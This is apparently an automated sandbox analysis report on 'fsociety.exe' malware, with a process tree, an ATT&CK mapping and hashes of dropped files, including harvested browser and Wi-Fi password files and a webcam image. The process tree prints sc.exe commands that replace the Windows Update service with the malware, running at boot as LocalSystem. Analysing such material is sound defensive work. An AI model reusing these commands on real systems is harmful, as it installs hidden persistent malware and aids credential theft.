    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:6772
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      PID:1980

C:\Windows\system32\fsociety.exe
"C:\Windows\system32\fsociety.exe"
1⤵
PID:928
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:6944
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:6612
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:2100
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:988
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:7328
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:7692
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:7884
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:7408
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:6244
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:7268
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:8052
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:8036
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:644
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:2888
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:7080
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:6636
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      PID:6244
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
    3⤵
    PID:6236
  - - C:\Windows\system32\sc.exe
      sc description WindowsUpdate "Provides Windows system updates"
      4⤵
      PID:2028

C:\Windows\system32\fsociety.exe
"C:\Windows\system32\fsociety.exe"
1⤵
PID:6140
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:6820
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:6984
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:7364
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:7608
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:7024
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:6616
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:7260
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:7584
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:7144
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:5432
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:6244

C:\Windows\system32\fsociety.exe
"C:\Windows\system32\fsociety.exe"
1⤵
PID:2988
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:5152
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:6716
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:8160
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:5920
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:7808
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:6356
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:6800
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:6952
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:5604
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:4296

C:\Windows\system32\fsociety.exe
"C:\Windows\system32\fsociety.exe"
1⤵
PID:7788
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:7832
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:7924
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:1744
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:7328
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:7460
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:6776
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:7180
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:7448
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:7724
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:8000
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:6324
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:6020
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      Launches sc.exe
      PID:7304

C:\Windows\system32\fsociety.exe
C:\Windows\system32\fsociety.exe
1⤵
PID:1908
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:7724
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:2476

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

07CEF2F654E3ED6050FFC9B6EB844250_44F84527B9D1A5107012929AC9B9BF7F

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\07CEF2F654E3ED6050FFC9B6EB844250_44F84527B9D1A5107012929AC9B9BF7F
Size 2KB
SHA256 69a85eb5b38cfdd287a03f087586657487a1a7531a17d2f67890b9d4fe58f5a3
MD5 427820fa82212536ecc912d2c90db02c
SHA1 9ea8d7de8a98ca9dc597dc25b4c3ba90bc4805c1
SHA512 b848b4856dd78392144401a81f704aef460107cab9ea0bd9172a78a5524f6f3bdaa8109625525defac53ba9140fc0a7171cdcc510d1059ae27fa7f614f5ac2df
TLSH
T1E2414CD38C98611048445977BFD5D5732EB6F4960CC02067B4E8F1570F4EFEDA629808
MD5 SHA1 SHA512 TLSH

Submit Download

103621DE9CD5414CC2538780B4B75751

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
Size 808B
SHA256 3dd5ea8a14eb665ba6057d424f94e5e83757ffaab456578dbf038af04053b19e
MD5 878e958d6bff424e59d1feb51584a01f
SHA1 b11261559bbea40f1874448196e2934277a537e9
SHA512 6481a56d17126cf94901bed6f418af28f63089da57af4258fb13e468063c4d7849f78ca00a0e4a72c249a639afc8304669f99e48a360008f8e64172ab3133213
TLSH
T18D0152CD6E2925408AB18A334AB9C4970DB9724A3AD5910C4453A4A024D07588F0F54E
MD5 SHA1 SHA512 TLSH

Submit Download

163881043E0BAADDAF2D4BE6A4D594A4

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\163881043E0BAADDAF2D4BE6A4D594A4
Size 58KB
SHA256 ad50d6da7c841d51fa855cf123c99baff5ba28aaa1c0c8136bd72201cfe6ca39
MD5 af2dea7158a112c5636c31c63f8e0831
SHA1 1d028277fdd77aed90794ad7dcf1d281c577a93e
SHA512 0acc4e5512ca3bd2386336d6ac4250e197b7bb294dddda59aa075d325dff83bca2f51d92a3d5a75a1a2c231bc3573406118e8ec664af442269aff0a8b32b4309
SSDEEP 1536:vpN+/lWjZw5bpot5Zhqruf7QUEoVavuUJ/ZGgZvh:b+/lWfpqif7QUL/J8
TLSH
T1A5434CA86C7BF7A29D47CF638F9E8A9756F451D92552A32A4E307E005C13A9FCF53080
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

1B1495DD322A24490E2BF2FAABAE1C61

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1B1495DD322A24490E2BF2FAABAE1C61
Size 355B
SHA256 12fd0590708bb38d8039bc994178acee8a3d220f0cd194b0f1c2fc9ba622f927
MD5 53ae64e9ee4ba962ee4b516077735710
SHA1 dae8a6fd15a9c447cdb2778f63880db25b0dd198
SHA512 ec31df0d1fbf225bc5a884ee8324aab6e2aa43031bede210b04677ed825966c8ebc0693b06d8f0e55de2cd5919b95a7b25691b6ae1fab893f58756e08836a168
TLSH
T1BFE0C08867AC24200AB19E539550C4936FBE31892970B05C8251CBED30C1A58C28B30F
MD5 SHA1 SHA512 TLSH

Submit Download

22D536C4B4AD2CEF7AC6B7789FD235E3

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\22D536C4B4AD2CEF7AC6B7789FD235E3
Size 283B
SHA256 251ed08cc8f5873098ea5ee083034e7cd99ece955920e12a42e50306a94cb6eb
MD5 7f9d3dc54f928bf6c38576705ad18203
SHA1 2b5e33e5301753684973bfddbc6cfb11d297cf90
SHA512 ef5b01e74a5e49cd0fe887b9d92d830e1052bd93cda7d11ee68829705432a21a9943535de8dff9d77eb3402253adf9d5760eda03ca80a0c3495f83396d648967
TLSH
T102D0C29CA9273E660FE69B454A50C087AEE610CA9C15B648008EC45B0887B02EA962AE
MD5 SHA1 SHA512 TLSH

Submit Download

A1593701BD276673B04DEC503D761A9E_E1F945BF658DCC7B1DD3A7B88D3398BA

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A1593701BD276673B04DEC503D761A9E_E1F945BF658DCC7B1DD3A7B88D3398BA
Size 727B
SHA256 94ba8a3c476dd9a86fa46c3752ad9d57d7691c5f6661508279618ac893a2ebe6
MD5 7e6952039026d2d9835f6741339edb45
SHA1 f250eb815706b43dfe406a7b6414eccdc1110d4b
SHA512 d932ff35bf47e98120d215ed466ddabb3716ec441dd4f0e67de79b8a5fcca8a633a9c832a8c4a7324f7abf82de54b8621519626611e18db81ea64a50ce12f5fb
TLSH
T17F019464853CC083EBB0CFB21CBD88FA37B4F29FB4E9045A3124435528916C8A25E070
MD5 SHA1 SHA512 TLSH

Submit Download

07CEF2F654E3ED6050FFC9B6EB844250_44F84527B9D1A5107012929AC9B9BF7F

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\07CEF2F654E3ED6050FFC9B6EB844250_44F84527B9D1A5107012929AC9B9BF7F
Size 484B
SHA256 421bcf0866731f30488b24f6f6176313a1ea1367a04119f5381f6371465af789
MD5 fe260d1ac5b3c55b0f5b0ace101fe577
SHA1 389bfed5d733d0b5685abf420f20eef3dc5a2680
SHA512 086891c68a5ca9b792daadbff56d9557d273260d191c15e7c67b31cd555c27329e3745697711fb815e4485e7b3cb4a16c586769a4492cb16465b5891bf119177
TLSH
T119F0A325BAFE023DF4769C75C5DD57638C19B262280147B907940145BD17F00CD53119
MD5 SHA1 SHA512 TLSH

Submit Download

103621DE9CD5414CC2538780B4B75751

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
Size 192B
SHA256 4388a1a658832381eaaafa54d90c41a7617c4630187b0d76938fd8a0cb32a249
MD5 3f89577cf1b23c35b55263bb28126b85
SHA1 63291170e1f90c0bb0a5d10c1e7b5183f67345a1
SHA512 bb84a78b0b0bd7addfc6d39faaf5d2688d49eae1afe184f3d82215eb2da5a7f2c2d4ac28216d4485e0bfb594353f7ead45e7437495513f72fd75f33364351637
TLSH
T1D3C08C1C2EA20A06F2E8837C02C179039B608101E2858F152AF12A08CA97B262C38C2E
MD5 SHA1 SHA512 TLSH

Submit Download

163881043E0BAADDAF2D4BE6A4D594A4

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\163881043E0BAADDAF2D4BE6A4D594A4
Size 246B
SHA256 f832f45bb9a427f39753d31c73309e0ce3cd639508242f68f84ae74c5f4829c6
MD5 c197406698cf3ec33e5dd6ee101dca5a
SHA1 957136d46872082fe555af5a163b3b6a2165ea9a
SHA512 7579044bc2e4d55df08bb8ff62836b8c81ea0d507c816884da82ac6435d56e1367dd238c35d5e58e6fcdb71c3dcaf35d15a9fc26539c1ac796f1ca78f80cab05
TLSH
T11CD022143BA00229F2638775EC324E41BE273937B9810F1C0F7201C88A1AE420DB0C1D
MD5 SHA1 SHA512 TLSH

Submit Download

1B1495DD322A24490E2BF2FAABAE1C61

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1B1495DD322A24490E2BF2FAABAE1C61
Size 192B
SHA256 190c4636a22f4c83c104d48d9694ac7c2016ae0faa4eb9fe3de4f22ed590a13b
MD5 c4b4f6853da695b7594c3b1e3038d9fc
SHA1 6b368877c1a48b8e134c2f07d57dc87b296cb20b
SHA512 151286891eb8a75467d1af25cb86c5125c40c2b077815c11ea3cde9f35f6a15043798c7dea036b7517b97b858c55e67b7d3c43a94c4a28eaece61a75bdf78a95
TLSH
T1C9C0220CAA220300E3CA033E028222028B808820E0888F220AFA0B08CA23E082C30E28
MD5 SHA1 SHA512 TLSH

Submit Download

1B1495DD322A24490E2BF2FAABAE1C61

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1B1495DD322A24490E2BF2FAABAE1C61
Size 192B
SHA256 b0af7a67c1d4e4d4eedf2dbd9d2e07c7fdd0ff949a774dbbefc96332d856a5f6
MD5 76a783acdc73f2c0f26ae436536cba62
SHA1 ec580bb5c67db9d5ae0dc5d1ed7cbc70a1605032
SHA512 d9c99a6e675ebbad07cd636772b34e2416f2348bd6876d06a6ef8b42b5c583525dad22f1432787472b2d83ec03e1882173e05e653406c4034768de7eed461695
TLSH
T1D5C08C1C5A620606F3E5437D02C23D039B208420F2858F111AB63A58CD12F542C38C28
MD5 SHA1 SHA512 TLSH

Submit Download

22D536C4B4AD2CEF7AC6B7789FD235E3

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\22D536C4B4AD2CEF7AC6B7789FD235E3
Size 192B
SHA256 20b61ff63fa0114b8a8ac9851063b44c059127a1960f26e549346ee282a250af
MD5 f742fc50364e72a9a1c2180ad4e0bafc
SHA1 f63b526e516f0101214e8b352edaab85dad12a1d
SHA512 965e2de8920ac78b0af5b9c23308daa191e105713cead76df2aeba641316a528bb8c8cedfacb7f47655d0d46abbbdd2ff3149f408d93bba95e51101835a9ef24
TLSH
T107C08C282BA20616E2E80BBE22D43A939A14D011F2818F2A263A2A4C9D51F141C38C1C
MD5 SHA1 SHA512 TLSH

Submit Download

A1593701BD276673B04DEC503D761A9E_E1F945BF658DCC7B1DD3A7B88D3398BA

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A1593701BD276673B04DEC503D761A9E_E1F945BF658DCC7B1DD3A7B88D3398BA
Size 484B
SHA256 ad72a0f6c696ac51adf51da1eb8d5b05989fe85c60b8f9c2ea920958a5df5822
MD5 0544ea51e71cfdca0a5454633fbf0640
SHA1 d8a29b7e7a9b3ef57f26ba033257e689cc0df087
SHA512 b5bbd1d14fbe4f31762374d1606a4d7d4f12804a5729215c1dc9dcc803ab9369fd99ec5522433996af685eefb8038a6b3c705d10b0cce3982b637b1f1885e476
TLSH
T140F0612811FD000FE5F69D3CCFEDB197997DF111349151F8916211465511F009D35639
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 18d5722b4bdd546da121b4c8756096755cab8cb7c40126d93644910d9292f343
MD5 918925b4ffb522c4188485a5e84ab6ed
SHA1 f53ee7bacfae671d898075778f668cbf727c5d5e
SHA512 82d4b87cc804c393a5c812a4dc327743ae928a44f8fd52902410ba43dfae738254e94437b0482c86a93dea416fcb87a34ed892f8541c7508545b3c98dfd4d8ea
TLSH
T1C771DF323375B0D889163F47192D59C463BF8365FA54AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 5038b2068ed368e2648c5350f1032c5614cbae2f5776f69aa7a766fd913f8efd
MD5 b9f1e16cdf5a27c4d38cc4e1704a4cfd
SHA1 05131d491d93f5193bbea95001d18017db8ae858
SHA512 3b115b48d317cd99fa1f715a55752f6b1c406a10a82f51b2833255b9eca2a307bb4fe464dafab2ed87e1a03e5b49e78ae0493542a874e2f4500f53c0cb59cefe
TLSH
T1AB216333B39CC135C899017A148DAD00B6B5C3DB00AEDE8B7A84C508EA3F989DB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_bj4t2oxy.x3e.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bj4t2oxy.x3e.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

fsociety.jpg

Path C:\Users\Admin\AppData\Local\Temp\fsociety.jpg
Size 337KB
SHA256 a5acdd5f3a7ac924033e1f45e7c8be0bd7ba83ba541e26d98cff00fbdc8b0e04
MD5 926186312c08349acfbed3e62e6cd44e
SHA1 b017f77b9872e0506bbd7ace0fa525eea58474f3
SHA512 7b30d464429d8a04cf86000cf580616d5113b661a2fc25521445a2e572e6f5bbb332a7257e98335ed1f9da2b035b4ac140d79b5034b968a7858e2cb1b25efe0d
SSDEEP 6144:ChYipDxtOKZ4r4NR00OmWewLZv1NBk7AFyGi+ZyTyAHjHjAWV8Ib+leqqd+m:PipDxkO4r4NR00OVlBkeJWTyoQ5Ibuet
TLSH
T12F74CF0789058B83952D93E5BD531EA81F4A6B5CE5C639EF04230E8F7E997774C8E02E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tokyocore_data.zip

Path C:\Users\Admin\AppData\Local\Temp\tokyocore_data.zip
Size 436B
SHA256 27bb2dce5ff6326867f9ef6e4ca4b9f89e065874ecd0c4be794453ca135a4d96
MD5 b7359ec4fd9393a96ce6bf6ad1f387aa
SHA1 6868883e69ed6b6b4b99e2f9e7b7001ead3369ca
SHA512 e1a3b7ec98fb529855e968b901cefcda2438d37f7e86e88d3a49f39497942364ce4b738e09248fa81c60d8666ee6ff4186869068ac5ab7ec776316ab56903741
TLSH
T197E0920D426D6E03C08F53784FFA598B35A84A1A1F2F100E076B0449ED01AC25A7DD4F
MD5 SHA1 SHA512 TLSH

Submit Download

Browser_Passwords.json

Path C:\Users\Admin\AppData\Local\Temp\tokyocore_data_240659687\Browsers\Browser_Passwords.json
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

WiFi_Passwords.json

Path C:\Users\Admin\AppData\Local\Temp\tokyocore_data_240700109\System\WiFi_Passwords.json
Size 60B
SHA256 22ac04a93238064f073bb183745111f4af4f0c3c788b96f967d2bb5bddcb6b50
MD5 f1b9adb70b1506945ee175e18da6dd17
SHA1 ccef4de5e3fbf3f623f26875ebeb1717aea53112
SHA512 6575fd767181be4b40056cf50358d8371296e63ead975e1c36d0514503ce82deb4e17e9f4faa91ed9c9a5dd1cfcd80a063e69bc2d3bb7819e7e51c172a0b131e
TLSH
T1B6A00247848EAD4384ABFB863552463070458903666B81100775DA4EA13B9C750C5003
MD5 SHA1 SHA512 TLSH

Submit Download

webcam_240660125.png

Path C:\Users\Admin\AppData\Local\Temp\webcam_240660125.png
Size 1KB
SHA256 afb583c9e247fbe8d2342e2637e66a8c16f6b97ae378cb15e5d221f2f3b76dae
MD5 8449988bcbd1b1fff4edb727eff067f8
SHA1 756a48a9ebf02ea7c3df7eaa410f5e82a15c93db
SHA512 8b35e04eab30692469b47e91302bdd0ddc130d3fd4d93ab3b18f29351960cac3bbf1cf029f3165b9ba74d7c529a3c41eb06d30ac5c992d5bf3d61d3564fd819b
TLSH
T12E212BC34F5B8C7CCC4F0B3352DB009058F532DF201170042E3B900420246DC0543703
MD5 SHA1 SHA512 TLSH

Submit Download

bootexec.bat

Path C:\Windows\System32\bootexec.bat
Size 102B
SHA256 aee2c039cca15b2d5af969fab50bbc1917db86233c41d54f7248455214da1d19
MD5 0500078396690c38afbe334642a26ce8
SHA1 3e79640bfa157e2c980bbd4274d3a81a74b3e859
SHA512 1ee19669a20c4d8795d863c182358e7b048fa02c0f27e7065cfc3272da972a72cce97773cf6dbb26bfd97602ae940a88986976d31c162d1453eb81956c668312
TLSH
T132B0122614E8224013F38CF50020593003747A5D0C7BC58C46805E8C04D0210E431B47
MD5 SHA1 SHA512 TLSH

Submit Download

fsociety.exe

Path C:\Windows\System32\fsociety.exe
Size 3.3MB
SHA256 386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc
MD5 d77aa7f5bf7c008232f4cbec127c30db
SHA1 3701617822f99debbf2579602b32eb99034581ad
SHA512 dca182637bcc510cfba855040df4f422c30b7c42af48351281534fde1804341bb7359d3c0e61c3cde8085273c1ad8387e248ab49bb92fce3724aa96c9a4615c9
SSDEEP 24576:i7MuEwvKJEdcI63li+WsOxP5g2IvMJJHfO2NprH2K:sMupsvBWsOxPVZJWEzP
TLSH
T12EF5D91BF7B610D5E1BAC039D553622AFC7134A6833C97EB92818E491B60BE4EE3D750
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fsociety_sound.mp3

Path C:\Windows\System32\fsociety_sound.mp3
Size 6.5MB
SHA256 593aa5701cd2c5180f7e3532101cb4e0144576905c5b314a530592a346058a1b
MD5 2de5fdb9a44584ddafcaacb35c3f741b
SHA1 0614a0c98d48867bac48a7382fa5429cf0a3b946
SHA512 c4d0d3f09738d188f0a73e93702a17c240819bcf223515bfb1aae831e39f1bf45ea5754c6037ddd0f0633171dfa98b69eb5cf7aeb096a1e90d311860158ceb26
SSDEEP 98304:NlE2+jJyNhT/W3PvmOcqYa//K6/+RqCSCiTiVVdsWYvvQKt/:/EhjEufvmO966dNv212oa/
TLSH
T1C66633E6D200336EF5924B357CF97566F5DA5F29E62AB3C8CA14B3705073260EB91603
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jester.png

Path C:\Windows\System32\jester.png
Size 52KB
SHA256 2a2cf23e8da8299f7d022e333a3692f517f921f7f10ec0291c92fb420bd48864
MD5 6300da33ac5d644a3f407d72b88204b7
SHA1 90a2fc0116495ee18cdaa6b545e948183ce9a38d
SHA512 48679e78d0adfd92d55ac5714a52669f183360feaf486a573b1ecae3e6904759ac66eab99d68db9703e2a539c6711781e458e05a00d702083ba3012d1b113dcf
SSDEEP 1536:V2/+Y9u3w5KNMXuFipkioxeXjrMlQz/d/7jX:V+9u3Q6iui4wjwQztXX
TLSH
T1953301053E7E3A76D087C3559442EDB66118E6581B726E64DA5E800AEB0F78352F8CCF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.keyfile

Path C:\Windows\Temp\.keyfile
Size 32B
SHA256 1b6e00ccd0f218f3fc0d074d166702d2e699ede71eb50fe090cda4172d4f1cbe
MD5 749d798e8615a4abef94494e784a7966
SHA1 eb1988802400fb69cc73eb99c2afc46163cb0d0c
SHA512 32a9b3fa24fa201b60855f049425aafccacc2f6c22a2b3c00754b6bc8d9500ec8aeb1d75b9a6de3944f36c0e5ef2ffea9e3f9780047684e7c2c4e14b92fc5562
MD5 SHA1 SHA512

Submit Download

.keyfile

Path C:\Windows\Temp\.keyfile
Size 32B
SHA256 1c7739264cb557b17b1c3e056f46f530e517b8014dd342b23502955c3524e2e0
MD5 9e4aa95513033a3940d7ff7808d071c3
SHA1 3ac2281c0fc2ee45241af9fbb4d969fdb851f75e
SHA512 9f6e4d8d5cd41125dfada3bf56f3e6ba4aac6eda106ca82536cbb51430fe0b66e7231397012d5c47f0c10aabb199014f1123e6bdbb137eea3152646f4f080b74
MD5 SHA1 SHA512

Submit Download

.syslock

Path C:\Windows\Temp\.syslock
Size 4B
SHA256 e8c23862ed14fba29e4b695504d7a3e4befdbd2a62b819a27d1585cb54d2374e
MD5 92bb974ca79823939e569149fb3a520b
SHA1 c6b9458d44f8d1188726afabb5830672775cb140
SHA512 8adef7d6a9f38c3fd3c024a87d97c5b4352ba7f22c724f575be5c7b71155ffe93cc73547aeb3fee1c621a8db7fd822ce2494398ed837e6a469c1f0fe8cf9cefa
MD5 SHA1 SHA512

Submit Download

.syslock

Path C:\Windows\Temp\.syslock
Size 4B
SHA256 834c3bf013b6f3e0ca6e323c8321143db2e4e9a9e743e4bf0369389fc79a3621
MD5 c838232ebee70924397a063268a3df21
SHA1 0b146e9d3a83d5defe2c16104086d0eb53238cbb
SHA512 fb0c6055aacfc81546624907bdae183b0ab63d0edcecb95789bfaabe585cb2b89602e3acaec43ccbef65e5e7a2dfcb753fefdc3965ed0584406f080477b8600c
MD5 SHA1 SHA512

Submit Download

.syslock

Path C:\Windows\Temp\.syslock
Size 4B
SHA256 a21937e1c0f84d05ec128e674675eba0c1256df0cea3578c471d9d323830971f
MD5 e16ed81ae22a34eadc3d0a3f22fdd3f2
SHA1 26a5d31236347d2e1b997032b1c1a4d61040a62e
